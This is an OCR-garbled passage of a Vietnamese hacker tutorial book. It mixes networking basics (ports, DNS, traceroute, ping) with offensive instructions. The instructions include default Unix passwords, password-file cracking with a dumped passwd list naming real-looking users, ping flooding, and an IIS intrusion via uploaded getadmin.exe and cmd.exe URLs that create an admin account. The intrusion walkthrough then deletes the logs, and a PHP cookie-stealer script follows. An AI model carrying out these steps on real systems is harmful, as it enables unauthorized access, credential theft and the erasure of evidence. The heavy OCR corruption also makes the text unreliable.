đặc biệt được cài (hoặc lây lan từ máy khác) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó, đa số virut được sử dụng đề phá hoại đữ liệu hoặc phá hoại máy tính. Worm: Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng. Cũng giống như Virut, nó cũng có thê phá hoại dữ liệu, hoặc nó có thể phá hoại bên trong mạng, nhiều khi còn làm down cả mang đó. Logicbomb: Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ, làm ngập lụt hệ thống, tắt nghẽn đường truyền (trên server) hoặc dùng làm công cụ để “?khủng bố”? đối phương (bom Mail). 6.- PGP la gì ? PGP là viét tát cüa tir "Pretty Good Privacy", dáy là công cụ sử dụng sự mã hóa chìa khóa cóng cóng để bảo vệ những hồ sơ Email và đữ liệu, là dạng mã hóa an toàn cao sử dụng phần mém cho MS DOS, Unix, VAX/VMS và cho nhüng dang khác. 7.- Proxy là gi ? Proxy cung cáp cho người sử dụng truy xuất internet với những host don. a himg proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual homed host hoác basion host. ä hững chương trình client của người sử dụng sẽ qua trung gian proxy server thay thé cho server thật sự mà người sử dụng cân giao tiếp. Proxy server xác định những yêu câu từ client và quyết định đáp ứng hay không đáp ứng, nêu yêu câu được dap ung, proxy server sé két nói vói server thát thay cho client và tiếp tuc chuyén tiếp đến những yêu câu từ client đến server, cüng như đáp ứng những yêu cầu của server dén client. Vi vay proxy server giống cầu nồi trung gian giữa server và client. Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phái login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trễ nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. Đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter. 8.- Unix là gì ? 70 KY THUAT DIEa TOAA Unix là mót hệ điều hành (gióng Window).á ó hiện là hệ điều hành mạnh nhất, và thân thiết với các Hacker nhất. â êu bạn đã trở thành một hacker thật sự thì HĐH này không thé thiếu đối với bạn. â ó được sử dụng hỗ trợ cho lập trình ngôn ngữ C. 9.- Telnet là gi ? Telnet là mót chuong trinh cho phép ta két nói dén máy khác thóng qua cóng (port). Moi máy tính hoặc máy chủ (server) đều có cổng, sau đây là một số công thông dụng:
  • Port 21: FTP
  • Port 23: Telnet
  • Port 25: SMTP (Mail)
  • Port 37: Time
  • Port 43: Whois Ví du: Ban có thé goi Telnet dé két nói dén mail.virgin.net trén port 25. 10.- Làm thé nào dé biét minh dà Telnet dén hé thóng Unix ? Ok , tói sé nói cho ban biét làm sao mót hé thóng Unix có thé chào hói ban khi ban két nói tói nó. Dàu tién, khi ban gọi Unix, thông thường nó sẽ xuất hiện một dấu nhắc: "Log n:", (tuy nhiên, chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoại trừ chúng xuất hiện thông báo ở trước chữ “”log in:” như ví du: Welcome to SHUnix. Please log in...) Bây giờ ta đang ở tại dấu nhắc ‘’log in’’, bạn cần phải nhập vào một account hợp lệ. Một account thông thường gồm có 8 đặc tính hoặc hơn, sau khi ban nhap account vào, ban sé tháy có mót mát kháu, ban hãy thử nhập Default Password thử theo bảng sau: Account----- Default Password Root------- Root SyS-------- Sys / System / Bin Bin-------- -Sys / Bin Mountfsy------ M ountfsys EE Anon AnOn------- Anon User------- -User Games----- Games Install------- Install Demo------- Demo Guest------ Guest 11.- shell account là cái gi ? Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuối (terminal) mà vói nó ban có thé dánh lénh dén mót máy tính dang chay Unix, "Shell" là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồi đưa vào thực hiện lệnh của chuong trinh Unix. Vói mót shell account chính xác ban có thể sử dụng được một trạm làm việc mạnh hơn nhiều so với cái mà bạn có thê tưởng tượng đến được. Ban có thé láy duoc "shell account" mién phí tai trang Web www.freeshell.com tuy nhiên bạn sé khóng su dung duoc ‘’telnet’’ cho đến khi bạn trả tiền cho nó. 12.- Làm cách nào dé ban có thé crack Unix account passwords ? Rát don gián, tuy nhién cách mà tói nói vói các ban ó dáy 'lac hậu”” rồi, các bạn có thé crack duoc chüng néu các ban may mán, cón khóng thi các ban doc để tham khảo. Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một người khách ghé thăm, nêu may mắn bạn sẽ lấy được mật khâu được cất dấu trong những hệ thống chuẩn như: /etc/passwd Mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau, nó giỗng như hàng này: userid:password:userid#:groupid#:GECOS field:home dir:shell trong đó: 71 KY THUAT BIÉÀ TOÁÀ
  • userid = the user id name: tén dáng nháp: có thể là một tên hoặc một số.
  • password: Mật mã. Dùng đề làm gì hắn các bạn cũng biết rồi.
  • userid#: Là một số duy nhất đựơc thông báo cho người đăng ký khi họ đăng ký mới ở lần đầu tiên.
  • øroupid#: Tương tự như userid#, nhưng nó được dùng cho những người đang ở trong nhóm nào dó (nhu nhóm Hunter Bug cua HVA chang han)
  • GECOS FIELD: Day là noi chúa thong tin cho người sử dụng, trong đó có họ tên đầy đủ, số điện thoại, địa chi v.v...Dáy cüng là nguón tót dé ta dé dàng crack mót mát kháu.
  • home dir: Là thu mục ghi lại hoạt động của người khách khi họ ghé thăm (giống như muc History trong IE vay)
  • Shell: Day là tén cüa shell mà nó tự động bắt đầu khi ta login.
  • Hãy lấy file password, láy file text dà mà hóa vé, sau dó ban dùng chương trình CrackerJack"' hoác ‘’John the RIPper’’ dé crack. Các bạn thấy cũng khá dé phải không ? Sai bét, không dé dàng và may mắn đề bạn có thể crack được vì hâu hết bây giờ họ cất rất kỹ, hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào. 13.- shadowed password là cái gì ? Một shadowed password được biết đến là trong file Unix passwd, khi bạn nhập một mật khâu, thì người khác chỉ thấy được trình đơn của nó (như ký hiệu “°X'?? hoặc ?" ). Cái này thông báo cho bạn biết là file password đã được cất giữ ở nơi khác, nơi mà một người sử dụng bình thường không thể đến được. Không lẽ ta đành bó tay, dĩ nhiên là đối với một hacker thì không rồi, ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó, đó là file Unshadowed. â hững file này trên hệ thống của Unix không cố định, ban hãy thử với lần lượt những đường dẫn sau: CODE AIX 3 /etc/security/passwd ! or /tcb/auth/files/ / A/UX 3.0s /tcb/files/auth/?/ BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow x HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow OSE/1 /etc/passwd[.dir|.pag]

    SCO Unix #.2.x /tcb/auth/files/ / SunOS4.1+c2 /etc/security/passwd.adjunct =

    username

    SunOS 5.0 /etc/shadow maps/tables/whatever > System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/
    database Ultrix 4 /etc/auth[.dir|.pag] Uå ICOS /etc/udb =20 Trước dấu '/ dau tiên của một hàng là tên của hệ thống tương ứng, hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồi lần theo đường dẫn phía sau dấu ‘’/’’dau tiên. Và cuối cùng là những account passwd mà tôi từng crack được, có thể bây giờ nó đã hết hiệu lực rồi: CODE 72 KY THUAT DIEa TOAA arif:x:1569:1000:4 guyen Anh Chau:/udd/arif:/bin/ksh arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh Đề bảo đảm sự bí mật nên pass của họ tôi xóa di và dé vào đó là ký hiệu hãy tìm hiểu thông tin có được từ chúng xem Vitual port (cóng áo) là 1 số tự nhiên đựợc gói ở trong TCP (Tranmission Control Protocol) và UDP (User Diagram Protocol) header. Như mọi người đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 công riêng dùng để truyền và nhận dữ liệu. Ví du 1 máy có địa chi IP là 127.0.0.1 chay WebServer, FTP Server, POP3 server, et những dịch vụ này đều được chạy trên 1 IP address là 127.0.0.1, khi mót gói tin duoc gửi dén làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP ? Chính vi thé Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví du FTP có port mác định là 21, web service có port mác dinh là 80, POP3 là 110, SMTP là 25 vàn vàn.. á gười quản trị mạng có thể thay dói só port mac dinh nay, néu ban khóng biét só port trên một máy chủ, bạn không thê kết nỗi vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPIâ G nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chi là quá trình chuyên đổi số port mặc định của một dịch vụ nào đó đến I số khác. Vi du Port mac định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080, 8080 & day chính là só port cüa host xxx nhưng đã được người quán tri cua host này map" tir 80 thành 8080 15.- DNS là gi ? Dá S là viét tat cua Domain á ame System. Mót máy chü Dá S doi két nối ở công số 53, có nghĩa là nêu bạn muốn kết nối vào máy chủ đó, bạn phải kết nói đến cổng số 53. Máy chủ chạy Dầ S chuyên hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Vi du: 127.0.0.1 > localhost và localhost- > 127.0.0.1. 16.- Đôi điều về Wingate: WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: Bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy. WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn. Làm sao dé Wingate có thé che dấu bạn ? Hãy làm theo tôi: Bạn hãy telnet trên công 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate >. Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và công bạn muốn kết nối vào. VD: CODE telnet wingate.net WinGate > victim.com 23 ta telnet dén cong 23 vi đây là công mặc dinh khi ban cai Wingate. lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó. Làm sao để tìm Wingate ? â êu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate dé ho có thé chia sé đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà. Hoặc bạn có thê dùng Port hay Domain scanners và scan Port 1080. eX „9 , các bạn 73 KY THUAT DIEa TOAA Dé tim IP dóng (IP thay dói mói làn user két nói vào internet) cüa WinGates ban có thể dùng Domscan hoặc các chương trình quét khác. ẩếu dùng Domscan bạn hãy nhập khoáng IP bát kỳ vào box đầu tiên và số 23 vào box thứ 2. Khi đã có kết quả, bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm được (đã hướng dẫn ở trên), nếu nó xuất hiện dấu ' "Wingate ’? thi ban da tim dang may dang str dung Wingate rồi đó. Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài, nó có rất nhiều trên mạng. 17.- Đôi điều về Traceroute: Traceroute là một chương trình cho phép bạn xác định được đường di của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet. Bạn hãy xem VD sau: CODE C:\Windows > tracert 203.94.12.54 Tracing route to 203.94.12.54 over a maximum of 30 hops
  • abc.netzero.com (232.61.41.251) 2. ms 1 ms 1 ms . XyZ.À etzero.com (232.61.41.0) 5 ms 5 ms 5 ms . 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms . we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms . isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms . 196.23.0.25 (196.23.0.25) 1195 ms1204 ms . backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms . asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms . south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
  • backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
  • newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
  • newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
  • mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms Tói càn biét duóng di tir máy tôi dén mót host trén mang Internet có dia chi IP là 203.94.12.54. Tôi cần phải tracert dén nó! á hu ban tháy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops (mắc xích) trên mạng. Đây là đường đi của các gói packets. Bạn hãy xem VD tiếp theo: CODE host2 £ traceroute xyz.com traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
  • isp.net (202.xy.34.12) 20ms 10ms 10ms
  • xyz.com (202.xx.12.34) 130ms 130ms 130ms Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data). Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gói dén router này là 1. Router này sé gói tró lại cho chương trình traceroute một ICMP message error 'Time Exceeded". Traceroute sé gói tiép mót datagram dën hệ thống dích. VO OO JC P, AA Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram co TTL=I(router thứ nhất đã giảm một trước đó - TTL=2-I=1). Tuy nhiên, xyz.com không phải là môt router, nó sẽ gởi trở lai cho traceroute một ICMP error message 'Port Unreachable". Khi nhàn duoc ICMP

    message này, traceroute sé biét duoc dà dén duoc hé thóng đích xyz.com và kết thúc nhiệm vụ tại đây. 74 KỸ THUẬT ĐIỆẩ TOÁä DEE Trong trường hợp router không trả lời sau 5 giây, traceroute sé in ra một dấu sao (không biết) và tiếp tục gói datagram khác dén host dích! Chú ý: Trong Windows: tracert hostname Trong unix: traceroute hostname 18.- Ping và cách sir dung: Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chấn đoán mạng. Tiểu sur cüa tir "ping" nhu sau: Ping là tiếng động vang ra khi I tàu ngầm muốn biết có 1 vat thé khác ở gần mình hay không, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thê đó và tiếng vang lại sé là "pong? ” vậy thì tàu ngầm đó sẽ biết là có gì gần mình. Trên Internet, khái niệm Ping cũng rất giống với tiêu sử của nó như đã đề cập ở trên. ru Ping gui mot gói ICMP (Internet Control Message Protocol) dén host, néu host dó

    pong"' lai có nghia là host dó tón tại (hoặc là có thể với tới được). Ping cüng có thé giüp chüng ta biét duoc luong thói gian mót gói tin (data packet) di từ máy tính của mình đến I host nào dó. Ping thát dé dàng, chi càn mó MS-DOS, và gó "ping dia chi IP", mác dinh sé ping 4 lần, nhưng bạn cũng có thể gõ CODE "ping IP.address 7" Cách này sẽ làm máy ping mãi. Đề thay đổi kích thước ping làm như sau: CODE "ping -l (size) dia chi IP" Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mát bao lâu gói tin rồi xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin di và quay trở lại và chia bón (goi là ^trIP time"). Ping cüng có thé duoc düng dé làm chám di hoác đồ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn ER qua nhiéu két nói, nén Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “'ping flood”” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương (trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đôi phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương. Chu y: option -t cua DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, ban có thé düng ping -f dé gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nêu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sé có tham só -f. 19.- Kỹ thuật xâm nhập Window NT tir mạng Internet: Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack, bây giờ tôi sẽ bày lại cho các bạn. Bạn sẽ cần phải có một số thời gian để thực hiện được nó vì nó tuy dé nhung khó. Ta sẽ bắt đầu:
  • Dàu tién ban càn tim mót server chay IIS:
  • Tiếp đến bạn vào DOS và đánh “ˆFTP'°. VD: c:\Ftp www.dodgyinc.com (trang này khi tôi thực hành thì vẫn còn làm được, bây giờ không biết họ đã fix chưa, néu bạn nào có trang nào khác thì hãy post lên cho mọi người cùng làm nhé) á éu connect thành công, bạn sẽ thấy một số dòng tương tự như thé này: CODE 75 KỸ THUẬT ĐIỆẩ TOÁä Connected to www.dodgyinc.com. 220 Vdodgy Microsoft FTP Service (Version 3.0). User (www.dodgyinc.com:(none)): Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng, nó cho ta biết tên á etbios của máy tính là “"Vdodgy””. Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho 4 T dé cho phép ta có thể khai thác, mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là 'IUSR_VDODGY'”. Hãy nhớ lấy vì nó sẽ có ích cho ta. 4 hap ‘’anonymous’’ trong user nó sẽ xuất hiện dòng sau: CODE 331 Anonymous access allowed, send identity (e-mail name) as password. Password: Bay gió password sé là bất cứ gì mà ta chưa biết, tuy nhiên, bạn hãy thử đánh vào password là “*anonymous'°. á éu nó sai, bạn hãy log in lại thiết bị FTP, bạn hãy nhớ là khi ta quay lại làn này thi khóng sü dung cách mao danh ntra (anonymous) mà sir dung "Guest", thir lai password vói "guest" xem thé nào. Bây giờ bạn hãy đánh lénh trong DOS: CODE Cd/c Và sẽ nhìn thấy kết quả nêu như bạn đã xâm nhập thành công, bây giờ bạn hãy nhanh chóng tìm thư mục ^cgi-bin"". å éu nhw ban may mán, bạn sẽ tìm được dễ dàng vì thông thường hệ thống. quản lý đã dat ‘’cgi-bin’’ vào nơi mà ta vừa xâm nhập để cho các người quản lý họ đễ dàng điều khiển mạng hơn. Thư mục cgi-bin có thê chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn. Ta hãy bắt đầu "quáy" nào greenbiggrin.gif greenbiggrin.gif. Đầu tiên, bạn hãy chuyền từ thư mục cgi- -bin và sử dụng lệnh m (có thé các ban khóng càn dùng lệnh này), sau đó bạn đánh tiếp lệnh ' 'put cmd.exe”” . Tiếp theo là bạn cần có file hack D cài vào thu muc này, hày tim trén mang dé lay 2 file quan trọng nhất đó là "getadmin.exe"' và 'gasys.dll". Download chüng xuóng, một khi bạn đã có nó hãy cài vào

    trong thư mục ng Ok, coi như mọi việc đã xong, bạn hãy đóng cửa số DOS. Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn: http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR VDODGY Sau vài giây bạn sé có được câu trả lời như ở dưới đây: CODE CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Congratulations, now account IUSR VDODGY have administrator rights! Thế là bạn đã mạo danh admin để xâm nhập hệ thống, việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account, hãy đánh dòng sau trên IE: http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user %2 Ohacker%20toilahacker%20/add Dong lénh trén sé tao cho ban mót account login vói user: anhdenday va passwd: toilahacker. Bây giờ bạn hãy là cho user này có account của admin, bạn chỉ cần đánh lên IE lệnh: http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday Vay la xong ròi đó, bạn hãy disconnect và đến start menu - > find ròi search computer

    www.dodgyinc.com"'. Khi tìm thấy, bạn vào eXPlore, eXPlore â T sẽ mở ra bạn hay nhập user và passwd dé mó nó (cüa tói là user: anhdenday và passwd: toilahacker). Có một vấn đề là khi bạn xâm nhập hệ thông này thì sẽ bi ghi lại, do đó để xóa dấu vết bạn hãy vào “°Winnt\system32\logfiles'” mở file log đó rồi xóa những thông tin liên quan đến 76 KY THUAT DIEa TOAA ban, rói save chüng. á éu ban muón láy mót thóng báo gi vé viéc chia sé su xàm nháp thi ban háy thay dói ngày tháng trén máy tính vói URL sau: http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03 Xong roi ban hay xóa file "getadmin.exe", và "gasys.dll tir "cgi-bin". Muc dích khi ta xâm nháp hé thóng này là ^chóm" pass cüa admin dé làn sau xàm nháp mót cách hop lệ, do đó bạn hãy tìm file SAM (chứa pass của admin và member) trong hệ thống rồi dùng chương trình “”10pht crack? để crack pass (Hướng dẫn về cách sử dụng “°l0pht crack v 3.02”” tôi đã post lên rồi, các bạn hãy tự nghiên cứu nhé). Đây là link: http://vnhacker.org/forum/?act=ST& f=6&t=11566&s= Khi crack xong các bạn đã có user và pass của admin rồi, bây giờ hãy xóa account của user (của tôi là anhdenday"") đi cho an toàn. Bạn đã có thể làm gì trong hệ thống là tùy thích, nhưng các bạn đừng xóa hết tài liệu của họ nhé, tội cho họ lắm. Bạn cảm thấy thế nào, rắc rối lắm phải không. Lúc tôi thử hack cách này, tôi đã mày mò mắt cả 4 giờ, nếu như bạn đã quen thì lân thứ 2 bạn sẽ mắt ít thời gian hơn. Ở phần 3 tôi sẽ đề cập đến HĐH Linux, đến cách ngắt mật khẩu bảo vệ của một Web site, và làm thế nào để hack một trang web đơn giản nhất v.v... 20.- Cookie là gi ? Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site va browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra dé lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thám site và những vùng mà ho di qua trong site. a himg thong tin nay có thé bao góm tén/dinh danh nguói düng, mát kháu, só thích, thói quen...Cookie duoc browser cüa nguói düng chấp nhận lưu trên đĩa cứng của máy mình, không phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người không phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie không chính xác, kiểm tra không đầy đủ hoặc mã hóa các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiến site. Cookies thường có các thành phần sau: Tên: Do người lập trình web site chọn Domain: Là tên miền từ Server mà cookie được tạo và gửi đi Đường dẫn: Thông tin về đường dẫn ở web site mà bạn đang xem â gày hết hạn: Là thời điểm mà cookie hết hiệu lực. Báo mát: à éu giá tri này duoc thiết lập bên trong cookie, thông tin sé duoc mà hóa trong quá trinh truyền giữa server và browser. Các giá trị khác: Là những dir li&u đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phầy và bị giới hạn trong khoảng 4k. 21.- Kỹ thuật lấy cắp cookie của nạn nhân: Trước hết, các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó: CODE "), function getvars($arr, $title) { $res =”’’’, $len = count($arr), if ($len > 0) 77 KY THUAT BIÉÀ TOÁÀ 1 if (strlen(Stitle) > 0) 1 , print(‘’[ $title-- ]". HTML LIà E), $res.= [-- $title---- IT Lab } foreach ($arr as $key = > $value) { print(^[$key]". HTML LIá E), print(Sarr[S$key]. HTML. LIá E), $res.= "[Skey] ". LIá E. $arr[$key]. LIá E, } } return $res, } // get current date $now = date(‘’ Y-m-d H:1:s’’), // init $myData = ‘’[-$now-]’’. LIá E, // get $myData.= getvars($HTTP_GET_VARS,’’’’), // file $file - SREMOTE ADDR.
    .txt"",

    $mode = “”r+””, if (!file exists($file)) $mode = ‘’wt’’. $fp = fopen ($file, $mode), fseek($fp, 0, SEEK_Ea D), fwrite($fp, $myData), fclose($fp), 2> hoặc CODE

3 Wed Dec 26 10:50:09 ICT 2001 1686 unknown

Lénh id: Xem uid/gid hiện tại (xem nhóm và tên hiện tại) Lệnh w: Xem các user đang login và action của họ trên hệ thống. Ví Du: $w nó sé dua ra thóng tin sau: 10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00 §6 KỸ THUẬT ĐIỆâ TOÁä Lénh ps: Xem thóng tin các process trén hé thóng Ví du: $ps axuw Lénh cd: Ban muón di chuyén dén thu muc nào. phài nhó dén lénh này. Vi du: $ cd /usr/bin > no sé dua ban dén thu muc bin Lénh mkdir: Tao 1 thu muc. Vi du: $ mkdir /home/convit --- 7 nó sé tao 1 thu muc convit trong /home Lénh rmdir: Gỡ bỏ thư mục Vi du: $ rmdir /home/conga > nó sẽ gỡ bỏ thư muc conga trong /home. Lệnh Is: Liét ké nói dung thu muc Ví dụ: $Is -laR / Lệnh printf: In dữ liệu có định dạng, giống nhu sử dựng printf() của C++. Vi du: $printf %s \x41\x41\x41\x41" Lénh pwd: Dua ra thu muc hién hanh Vi du: $pwd -- > nó sẽ cho ta biết vị trí hiện thời của ta ở đâu: /home/levell Các lệnh: cp, mv, rm có nghia là: copy, move, delete file Vị dụ với lệnh rm (del): $rm -rf /var/tmp/blah - 7 nó sé del file blah. Làm tuong tu dói vói các lénh cp, mv. Lénh find: Tim kiếm file, thư mục Ví dụ: $find / -user level2 Lénh grep: Cóng cu tim kiém, cách sü dung don gián nhát: grep "something" Vi du: $ps axuw | grep ‘’levell”’ Lénh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa VD: $strings /usr/bin/levell Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất đề xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace. Ví du: $strace /usr/bin/levell Lénh 'cat, more"': In nói dung file ra màn hinh $cat /etc/passwd | more > nó sẽ đưa ra nội dung file passwd mót cách nhanh nhát. $more /etc/passwd -- > 4 6 sẽ đưa ra nội dung file password một cách từ từ. Lệnh hexdump: In ra các giá tri tuong tng theo ascii, hex, octal, decimal cua dt ligu nhap vao. Vi du: $echo AAAA | hexdump Lệnh: cc, gcc, make, gdb: các công cu bién dich và debug. Ví dụ: $gcc -o -g bof bof.c Vi du: $make bof Vi du: $gdb levell (gdb) break main (gdb) run Lệnh perl: một ngôn ngữ Ví du: $perl -e print "A"x1024" |./bufferoverflow (Lói tràn bó dém khi ta đánh vào 1024 ky tu) Lénh ‘’bash’’: Da dén lic tu dóng hóa các tac vu cua ban bang shell scrIPt, cuc manh và linh hoat. Ban muón tim hiéu vé bash, xem nó nhu thé nào: $man bash Lệnh Is: Xem nói dung thu muc (Liét ké file trong thu muc). Vi Du: $ Is /home ^ sé hién toàn bộ file trong thư mục Home $ Is -a - > hiện toàn bộ file, bao gồm cá file án 87 KỸ THUẬT ĐIỆâ TOÁä $ Is -1 - > đưa ra thông tin vé các file Lệnh ghi dữ liệu đầu ra vào 1 file: Vi du: $ Is /urs/bin > ~/convoi -- > ghi dữ liệu hiển thị thông tin của thu muc bin vào 1 file convoi. 34.- Những hiểu biết cơ bản xung quanh Linux:
  • Một vài thư mục quan trọng trên server: /home: â ơi lưu giữ các file người sử dụng (VD: người đăng nhập hệ thống có tên là convit thi sé có 1 thu muc là /home/convit) /bin: â ơi xử lý các lệnh Unix cơ bản cần thiết như ls cháng hạn. /usr/bin: â ơi xử lý các lệnh dặc biệt khác, các lệnh dùng bởi người sử dụng đặc biệt và dùng quán tri hé thóng. /bot: à oi mà kernel và các file khác được dùng khi khởi động. /ect: Các file hoạt động phụ mạng, â FS (â etwork File System) Thư tín (Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất) /var: Các file quán tri /usr/lib: Các thu vién chuán nhu libc.a /usr/src: Vị trí nguồn của các chương trình.
